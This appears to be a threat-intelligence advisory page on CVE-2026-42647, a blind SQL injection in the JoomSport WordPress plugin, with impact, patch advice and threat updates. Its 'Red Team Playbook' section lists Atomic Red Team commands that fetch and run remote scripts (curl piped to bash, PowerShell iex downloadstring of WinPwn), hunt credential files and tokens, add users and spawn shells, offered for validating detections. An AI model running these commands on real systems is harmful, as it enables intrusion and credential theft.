CVE-2026-42647
Overview
This vulnerability is a Blind SQL Injection resulting from improper neutralization of special elements in SQL commands within Beardev JoomSport. The root cause lies in insufficient input sanitization of user-supplied data that is directly incorporated into SQL queries without parameterization or escaping. The affected component is the JoomSport plugin for WordPress, specifically versions up to and including 5.7.7, where database query construction fails to properly handle malicious input.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Beardev JoomSport allows Blind SQL Injection. This issue affects JoomSport: from n/a through 5.7.7.
Impact
An unauthenticated attacker can leverage this vulnerability to perform blind SQL injection attacks, enabling them to extract sensitive database information such as user credentials, configuration data, or other stored content. This may lead to unauthorized data disclosure and partial denial of service due to database query manipulation. The absence of authentication or user interaction requirements increases the attack surface, potentially compromising the confidentiality and availability of the affected WordPress site hosting the JoomSport plugin.
Solution
Users of Beardev JoomSport plugin should upgrade to a version later than 5.7.7 where the issue is resolved. The Patchstack advisory (https://patchstack.com/database/wordpress/plugin/joomsport-sports-league-results-management/vulnerability/wordpress-joomsport-plugin-5-7-7-sql-injection-vulnerability?_s_id=cve) provides detailed patch instructions and version information. Applying the vendor-provided update eliminates the vulnerable SQL query construction. No alternative workarounds are documented in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Beardev JoomSport stems from improper handling of user input in SQL commands, leading to a type of attack known as SQL injection. Specifically, this flaw allows for blind SQL injection, where an attacker can manipulate SQL queries without directly seeing the results of their queries. This occurs when user input is not adequately sanitized or validated before being incorporated into SQL statements. As a result, an attacker can craft malicious input that alters the intended SQL command, potentially allowing them to execute arbitrary queries against the database. This can lead to unauthorized access to sensitive data, manipulation of database records, or even complete control over the database server.
Attack vectors for exploiting this vulnerability are varied and can be executed through several means. An attacker may target web forms, URL parameters, or HTTP headers that interact with the database. For instance, if a web application allows users to search for specific content or retrieve user profiles based on input parameters, an attacker could input specially crafted SQL commands. In a blind SQL injection scenario, the attacker may not receive direct feedback from the database, but they can infer information based on the application's behavior, such as response times or error messages. This method allows attackers to extract sensitive data, such as user credentials, personal information, or even administrative access to the application.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on JoomSport for managing sports events and related data. If exploited, attackers could gain access to sensitive user information, including personal identification details and payment information, leading to potential identity theft or financial fraud. Moreover, the unauthorized access to the database could allow attackers to alter or delete critical data, disrupting business operations and damaging the organization's reputation. The financial implications of such breaches can be severe, encompassing costs related to incident response, legal liabilities, regulatory fines, and loss of customer trust.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments and code reviews should be conducted to identify and remediate potential SQL injection vulnerabilities. Employing web application firewalls (WAFs) can also help filter out malicious traffic and block attempts to exploit the vulnerability. Additionally, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, which separate SQL logic from user input, thereby preventing injection attacks. Input validation and sanitization should be enforced rigorously to ensure that only expected and safe data types are processed by the application.
In conclusion, the improper neutralization of special elements in SQL commands within Beardev JoomSport presents a critical security risk that can lead to severe consequences for affected organizations. The potential for data breaches, operational disruption, and financial loss underscores the importance of proactive security measures. By prioritizing secure coding practices, implementing robust detection strategies, and fostering a culture of security awareness, organizations can significantly reduce their exposure to SQL injection vulnerabilities and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-42647, reflecting increased adversary interest and potential reconnaissance efforts targeting Beardev JoomSport installations. This surge in telemetry corresponds with a substantial reassessment of the vulnerability’s severity, as evidenced by the updated CVSS score now rated critical at 9.3. The elevated EPSS score further signals a growing likelihood of exploitation attempts in the near term, despite the absence of newly disclosed exploit code. For defenders, this shift underscores an urgent need to enhance monitoring and prioritize vulnerability management for affected JoomSport versions. The heightened threat level indicates that attackers may be actively probing for weaknesses to leverage blind SQL injection vectors, increasing the risk of data exfiltration and operational disruption. Consequently, organizations should consider this vulnerability a top-tier risk within their threat landscape, reflecting a transition from theoretical concern to imminent exploitation potential.
Update 2 — June 20, 2026
CSURFACE threat intelligence has identified a marked escalation in activity targeting CVE-2026-42647, highlighted by the emergence of publicly available proof-of-concept exploit code on GitHub. This development significantly lowers the barrier for adversaries to weaponize the vulnerability, increasing the likelihood of exploitation attempts in the wild. While telemetry indicates a slight reduction in the EPSS score, this metric does not fully capture the immediate risk posed by the new exploit availability and the concurrent uptick in detection events. The presence of a functional exploit in the public domain enables a broader range of threat actors, including less sophisticated groups, to conduct blind SQL injection attacks against vulnerable Beardev JoomSport instances. Consequently, the threat landscape has shifted from a primarily theoretical concern to a more imminent and actionable risk, warranting heightened vigilance. This evolution underscores an elevated threat level, as attackers are now better equipped to probe and exploit the vulnerability, potentially leading to increased data compromise and service disruption.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
rootdirective-sec/CVE-2026-42647-Lab
|
rootdirective-sec | 0 | 0 | 2026-06-13 | View |
Threat Feed
6 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Active exploitation confirmed — vendor: beardev, product: JoomSport – for Sports: Team & League
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-42647 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/wordpress/plugin/joomsport-sports-league-results-management/vulnerability/wordpress-joomsport-plugin-5-7-7-sql-injection-vulnerability?_s_id=cve |